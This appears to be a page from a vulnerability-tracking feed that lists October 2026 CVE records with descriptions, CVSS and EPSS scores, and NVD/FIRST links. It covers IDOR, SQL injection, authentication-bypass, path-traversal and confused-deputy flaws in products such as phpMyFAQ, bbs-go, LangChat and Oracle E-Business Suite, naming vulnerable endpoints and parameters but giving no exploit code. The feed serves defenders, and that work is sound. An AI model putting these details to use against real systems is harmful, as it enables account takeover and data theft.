phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any user's full faquserdata row, including the live TOTP secret, without a SuperAdmin or protected-target check. Delegated administrators with user-management rights can read a SuperAdmin's TOTP secret and generate valid codes to bypass two-factor authentication.
CVSS 7.0 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111905).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111905&date=2026-10-25).
Sources:
NVD CVE-2026-111905: https://nvd.nist.gov/vuln/detail/CVE-2026-111905
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111905&date=2026-10-25
phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any user's full faquserdata row, including the live TOTP secret, without a SuperAdmin or protected-target check. Delegated administrators with user-management rights can read a SuperAdmin's TOTP secret and generate valid codes to bypass two-factor authentication.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1.
https://kevwire.com/record/CVE-2026-111855
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. (Oct 17, 2026).
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability exists in the web management interface of the device. Insufficient validation of user-supplied file paths allows remote attackers to read arbitrary files accessible to the application. Depending on configuration, exploitation may be possible without authentication.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111855).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111855&date=2026-10-25).
Sources:
NVD CVE-2026-111855: https://nvd.nist.gov/vuln/detail/CVE-2026-111855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111855&date=2026-10-25
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. A path traversal vulnerability exists in the web management interface of the device. Insufficient validation of user-supplied file paths allows remote attackers to read arbitrary files accessible to the application. Depending on configuration, exploitation may be possible without authentication.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roncoo-pay through commit 9428382 contains a missing authorization vulnerability in F2FPayController.orderQuery that allows unauthenticated attackers to retrieve payment records...
https://kevwire.com/record/CVE-2026-111719
Roncoo-pay through commit 9428382 contains a missing authorization vulnerability in F2FPayController.orderQuery that allows unauthenticated attackers to retrieve payment records... (Oct 16, 2026).
Roncoo-pay through commit 9428382 contains a missing authorization vulnerability in F2FPayController.orderQuery that allows unauthenticated attackers to retrieve payment records by supplying a trxNo parameter. Attackers can guess transaction numbers, a '7' prefix plus a snowflake ID, to obtain the full serialized payment record of any merchant.
CVSS 8.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111719).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111719&date=2026-10-25).
Sources:
NVD CVE-2026-111719: https://nvd.nist.gov/vuln/detail/CVE-2026-111719
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111719&date=2026-10-25
Roncoo-pay through commit 9428382 contains a missing authorization vulnerability in F2FPayController.orderQuery that allows unauthenticated attackers to retrieve payment records by supplying a trxNo parameter. Attackers can guess transaction numbers, a '7' prefix plus a snowflake ID, to obtain the full serialized payment record of any merchant.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LangChat through commit 2a6285a contains a missing authentication vulnerability that allows unauthenticated remote attackers to access REST controllers because no Sa-Token...
https://kevwire.com/record/CVE-2026-111704
LangChat through commit 2a6285a contains a missing authentication vulnerability that allows unauthenticated remote attackers to access REST controllers because no Sa-Token... (Oct 16, 2026).
LangChat through commit 2a6285a contains a missing authentication vulnerability that allows unauthenticated remote attackers to access REST controllers because no Sa-Token interceptor is registered. Attackers can query /api/v1/auth/users to read plaintext passwords, retrieve LLM provider API keys, create super-admin accounts, and modify or delete data.
CVSS 9.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111704).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111704&date=2026-10-25).
Sources:
NVD CVE-2026-111704: https://nvd.nist.gov/vuln/detail/CVE-2026-111704
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111704&date=2026-10-25
LangChat through commit 2a6285a contains a missing authentication vulnerability that allows unauthenticated remote attackers to access REST controllers because no Sa-Token interceptor is registered. Attackers can query /api/v1/auth/users to read plaintext passwords, retrieve LLM provider API keys, create super-admin accounts, and modify or delete data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering.
https://kevwire.com/record/CVE-2026-108372
Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering. (Oct 16, 2026).
Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering. From version 0.0.1 until 0.4.5, `loopx serve-status` in `loopx/status_server.py` uses `StatusRequestHandler._send_json()` and `do_OPTIONS()` to send `Access-Control-Allow-Origin: *` for unauthenticated responses on predictable loopback ports. A remote attacker can cause an operator who visits attacker-controlled web content to issue cross-origin requests to `GET /status.json`, `GET /review-material?goal_id=...&path=...`, `GET /`, and `POST /control-plane/configure-goal/dry-run`, exposing control-plane state, goal and run information, local absolute paths, private Markdown files below registered goal roots, and dry-run configuration projections. The affected routes do not provide cross-origin writes or arbitrary-file access. This issue is fixed in version 0.4.5.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108372).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108372&date=2026-10-25).
Sources:
NVD CVE-2026-108372: https://nvd.nist.gov/vuln/detail/CVE-2026-108372
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108372&date=2026-10-25
Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering. From version 0.0.1 until 0.4.5, `loopx serve-status` in `loopx/status_server.py` uses `StatusRequestHandler._send_json()` and `do_OPTIONS()` to send `Access-Control-Allow-Origin: *` for unauthenticated responses on predictable loopback ports. A remote attacker can cause an operator who visits attacker-controlled web content to issue cross-origin requests to `GET /status.json`, `GET /review-material?goal_id=...&path=...`, `GET /`, and `POST /control-plane/configure-goal/dry-run`, exposing control-plane state, goal and run information, local absolute paths, private Markdown files below registered goal roots, and dry-run configuration projections. The affected routes do not provide cross-origin writes or arbitrary-file access. This issue is fixed in version 0.4.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property.
https://kevwire.com/record/CVE-2026-112258
A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property. (Oct 19, 2026).
A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property. Opening a crafted XCF file can cause a use-after-free in the main GIMP process, leading to a crash and potentially arbitrary code execution.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112258).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112258&date=2026-10-25).
Sources:
NVD CVE-2026-112258: https://nvd.nist.gov/vuln/detail/CVE-2026-112258
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112258&date=2026-10-25
A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property. Opening a crafted XCF file can cause a use-after-free in the main GIMP process, leading to a crash and potentially arbitrary code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Magistrala through 1.0.0 contains an authorization bypass vulnerability that allows authenticated workspace members to view, issue, and revoke other tenants' device certificates...
https://kevwire.com/record/CVE-2026-111684
Magistrala through 1.0.0 contains an authorization bypass vulnerability that allows authenticated workspace members to view, issue, and revoke other tenants' device certificates... (Oct 16, 2026).
Magistrala through 1.0.0 contains an authorization bypass vulnerability that allows authenticated workspace members to view, issue, and revoke other tenants' device certificates by supplying foreign serials or entity ids. Attackers can call RevokeBySerial, RevokeAll, ViewCert, ListCerts, or IssueCert under their own workspace path to disconnect other tenants' devices, disclose certificates, and mint CA-signed certificates for their device ids.
CVSS 7.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111684).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111684&date=2026-10-25).
Sources:
NVD CVE-2026-111684: https://nvd.nist.gov/vuln/detail/CVE-2026-111684
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111684&date=2026-10-25
Magistrala through 1.0.0 contains an authorization bypass vulnerability that allows authenticated workspace members to view, issue, and revoke other tenants' device certificates by supplying foreign serials or entity ids. Attackers can call RevokeBySerial, RevokeAll, ViewCert, ListCerts, or IssueCert under their own workspace path to disconnect other tenants' devices, disclose certificates, and mint CA-signed certificates for their device ids.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZR.Admin.NET through 3.8.2 contains an sql injection vulnerability that allows authenticated attackers to manipulate the ORDER BY clause by supplying a crafted PagerInfo.Sort...
https://kevwire.com/record/CVE-2026-111669
ZR.Admin.NET through 3.8.2 contains an sql injection vulnerability that allows authenticated attackers to manipulate the ORDER BY clause by supplying a crafted PagerInfo.Sort... (Oct 16, 2026).
ZR.Admin.NET through 3.8.2 contains an sql injection vulnerability that allows authenticated attackers to manipulate the ORDER BY clause by supplying a crafted PagerInfo.Sort query parameter to the shared ToPage paging helper. Attackers holding the system:user:list permission can inject subquery or CASE expressions via GET /system/user/list to extract database contents such as stored credentials through blind techniques.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111669).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111669&date=2026-10-25).
Sources:
NVD CVE-2026-111669: https://nvd.nist.gov/vuln/detail/CVE-2026-111669
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111669&date=2026-10-25
ZR.Admin.NET through 3.8.2 contains an sql injection vulnerability that allows authenticated attackers to manipulate the ORDER BY clause by supplying a crafted PagerInfo.Sort query parameter to the shared ToPage paging helper. Attackers holding the system:user:list permission can inject subquery or CASE expressions via GET /system/user/list to extract database contents such as stored credentials through blind techniques.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rocboss paopao-ce through 0.6.0-alpha.3 contains an insecure direct object reference vulnerability in DownloadAttachment that allows authenticated users to access private media by...
https://kevwire.com/record/CVE-2026-111649
Rocboss paopao-ce through 0.6.0-alpha.3 contains an insecure direct object reference vulnerability in DownloadAttachment that allows authenticated users to access private media by... (Oct 16, 2026).
Rocboss paopao-ce through 0.6.0-alpha.3 contains an insecure direct object reference vulnerability in DownloadAttachment that allows authenticated users to access private media by supplying arbitrary content IDs. Attackers can enumerate sequential post_content ids via the /v1/attachment endpoint to obtain signed download URLs for other users' private, friend-only and following-only images, videos and attachments.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111649).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111649&date=2026-10-25).
Sources:
NVD CVE-2026-111649: https://nvd.nist.gov/vuln/detail/CVE-2026-111649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111649&date=2026-10-25
Rocboss paopao-ce through 0.6.0-alpha.3 contains an insecure direct object reference vulnerability in DownloadAttachment that allows authenticated users to access private media by supplying arbitrary content IDs. Attackers can enumerate sequential post_content ids via the /v1/attachment endpoint to obtain signed download URLs for other users' private, friend-only and following-only images, videos and attachments.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Misaka Danmu Server through 2.8.9 contains a missing authentication vulnerability that allows unauthenticated attackers to access audit, diagnostics, data-check, scan-index and...
https://kevwire.com/record/CVE-2026-111644
Misaka Danmu Server through 2.8.9 contains a missing authentication vulnerability that allows unauthenticated attackers to access audit, diagnostics, data-check, scan-index and... (Oct 16, 2026).
Misaka Danmu Server through 2.8.9 contains a missing authentication vulnerability that allows unauthenticated attackers to access audit, diagnostics, data-check, scan-index and health routes under /api/ui lacking the get_current_user dependency. Attackers can read audit logs with login IPs, server logs and environment paths, delete episode rows, clear media-server mappings, and wipe audit history.
CVSS 6.9 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111644).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111644&date=2026-10-25).
Sources:
NVD CVE-2026-111644: https://nvd.nist.gov/vuln/detail/CVE-2026-111644
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111644&date=2026-10-25
Misaka Danmu Server through 2.8.9 contains a missing authentication vulnerability that allows unauthenticated attackers to access audit, diagnostics, data-check, scan-index and health routes under /api/ui lacking the get_current_user dependency. Attackers can read audit logs with login IPs, server logs and environment paths, delete episode rows, clear media-server mappings, and wipe audit history.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### bbs-go through 4.4.6 contains an authentication bypass vulnerability in the /api/login/google_one_tap endpoint that allows remote attackers to log in as other users by submitting...
https://kevwire.com/record/CVE-2026-111639
bbs-go through 4.4.6 contains an authentication bypass vulnerability in the /api/login/google_one_tap endpoint that allows remote attackers to log in as other users by submitting... (Oct 16, 2026).
bbs-go through 4.4.6 contains an authentication bypass vulnerability in the /api/login/google_one_tap endpoint that allows remote attackers to log in as other users by submitting Google ID tokens issued to any OAuth client. Attackers operating their own Google OAuth client can capture a victim's Google-signed ID token and replay it, since the aud claim is never checked, to obtain an authenticated session as the victim's Google-linked account.
CVSS 8.6 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111639).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111639&date=2026-10-25).
Sources:
NVD CVE-2026-111639: https://nvd.nist.gov/vuln/detail/CVE-2026-111639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111639&date=2026-10-25
bbs-go through 4.4.6 contains an authentication bypass vulnerability in the /api/login/google_one_tap endpoint that allows remote attackers to log in as other users by submitting Google ID tokens issued to any OAuth client. Attackers operating their own Google OAuth client can capture a victim's Google-signed ID token and replay it, since the aud claim is never checked, to obtain an authenticated session as the victim's Google-linked account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Helical Insight through 7.0.0 contains an sql injection vulnerability that allows authenticated viewers to inject SQL through unescaped report parameter values sent to...
https://kevwire.com/record/CVE-2026-111634
Helical Insight through 7.0.0 contains an sql injection vulnerability that allows authenticated viewers to inject SQL through unescaped report parameter values sent to... (Oct 16, 2026).
Helical Insight through 7.0.0 contains an sql injection vulnerability that allows authenticated viewers to inject SQL through unescaped report parameter values sent to /executeDatasource. Attackers can supply crafted Numeric or String placeholder values that bypass the broken SqlDetect guard to read unexposed tables and modify data in the report's data source.
CVSS 8.6 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111634).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111634&date=2026-10-25).
Sources:
NVD CVE-2026-111634: https://nvd.nist.gov/vuln/detail/CVE-2026-111634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111634&date=2026-10-25
Helical Insight through 7.0.0 contains an sql injection vulnerability that allows authenticated viewers to inject SQL through unescaped report parameter values sent to /executeDatasource. Attackers can supply crafted Numeric or String placeholder values that bypass the broken SqlDetect guard to read unexposed tables and modify data in the report's data source.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FilePress through 3.0.1 contains an sql injection vulnerability that allows authenticated low-privilege users to inject SQL into ORDER BY clauses via the unvalidated asc parameter.
https://kevwire.com/record/CVE-2026-111619
FilePress through 3.0.1 contains an sql injection vulnerability that allows authenticated low-privilege users to inject SQL into ORDER BY clauses via the unvalidated asc parameter. (Oct 16, 2026).
FilePress through 3.0.1 contains an sql injection vulnerability that allows authenticated low-privilege users to inject SQL into ORDER BY clauses via the unvalidated asc parameter. Attackers can use blind boolean or time-based subqueries in dzz/pichome/library/filelist.php and dzz/collection/filelist.php to extract database rows including administrator credential hashes.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111619).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111619&date=2026-10-25).
Sources:
NVD CVE-2026-111619: https://nvd.nist.gov/vuln/detail/CVE-2026-111619
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111619&date=2026-10-25
FilePress through 3.0.1 contains an sql injection vulnerability that allows authenticated low-privilege users to inject SQL into ORDER BY clauses via the unvalidated asc parameter. Attackers can use blind boolean or time-based subqueries in dzz/pichome/library/filelist.php and dzz/collection/filelist.php to extract database rows including administrator credential hashes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DataCap through 2025.1.1 contains an insecure direct object reference vulnerability in BaseController.getInfoForPath that allows authenticated users to read other users'...
https://kevwire.com/record/CVE-2026-111614
DataCap through 2025.1.1 contains an insecure direct object reference vulnerability in BaseController.getInfoForPath that allows authenticated users to read other users'... (Oct 16, 2026).
DataCap through 2025.1.1 contains an insecure direct object reference vulnerability in BaseController.getInfoForPath that allows authenticated users to read other users' datasources, snippets and dashboards by numeric id. Low-privileged attackers can enumerate auto-increment ids on the source, snippet and dashboard endpoints to retrieve serialized datasource host, port, username and cleartext passwords.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111614).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111614&date=2026-10-25).
Sources:
NVD CVE-2026-111614: https://nvd.nist.gov/vuln/detail/CVE-2026-111614
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111614&date=2026-10-25
DataCap through 2025.1.1 contains an insecure direct object reference vulnerability in BaseController.getInfoForPath that allows authenticated users to read other users' datasources, snippets and dashboards by numeric id. Low-privileged attackers can enumerate auto-increment ids on the source, snippet and dashboard endpoints to retrieve serialized datasource host, port, username and cleartext passwords.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The StreamsHub Console operator acts as a confused deputy: a Kubernetes tenant with permission to create a Console custom resource can set...
https://kevwire.com/record/CVE-2026-105311
The StreamsHub Console operator acts as a confused deputy: a Kubernetes tenant with permission to create a Console custom resource can set... (Oct 20, 2026).
The StreamsHub Console operator acts as a confused deputy: a Kubernetes tenant with permission to create a Console custom resource can set spec.kafkaClusters[].credentials.kafkaUser.namespace to any namespace. The operator, running with cluster-wide Secrets RBAC, reads the victim-namespace KafkaUser Secret (SASL credentials or TLS private keys) and writes the plaintext material into a Secret in the attacker's namespace. No same-namespace check or allowlist exists anywhere in the code path.
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105311).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105311&date=2026-10-25).
Sources:
NVD CVE-2026-105311: https://nvd.nist.gov/vuln/detail/CVE-2026-105311
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105311&date=2026-10-25
The StreamsHub Console operator acts as a confused deputy: a Kubernetes tenant with permission to create a Console custom resource can set spec.kafkaClusters[].credentials.kafkaUser.namespace to any namespace. The operator, running with cluster-wide Secrets RBAC, reads the victim-namespace KafkaUser Secret (SASL credentials or TLS private keys) and writes the plaintext material into a Secret in the attacker's namespace. No same-namespace check or allowlist exists anywhere in the code path.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).
https://kevwire.com/record/CVE-2026-101687
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider). (Oct 20, 2026).
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101687).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101687&date=2026-10-25).
Sources:
NVD CVE-2026-101687: https://nvd.nist.gov/vuln/detail/CVE-2026-101687
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101687&date=2026-10-25
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101684
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).
CVSS 8.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101684).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101684&date=2026-10-25).
Sources:
NVD CVE-2026-101684: https://nvd.nist.gov/vuln/detail/CVE-2026-101684
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101684&date=2026-10-25
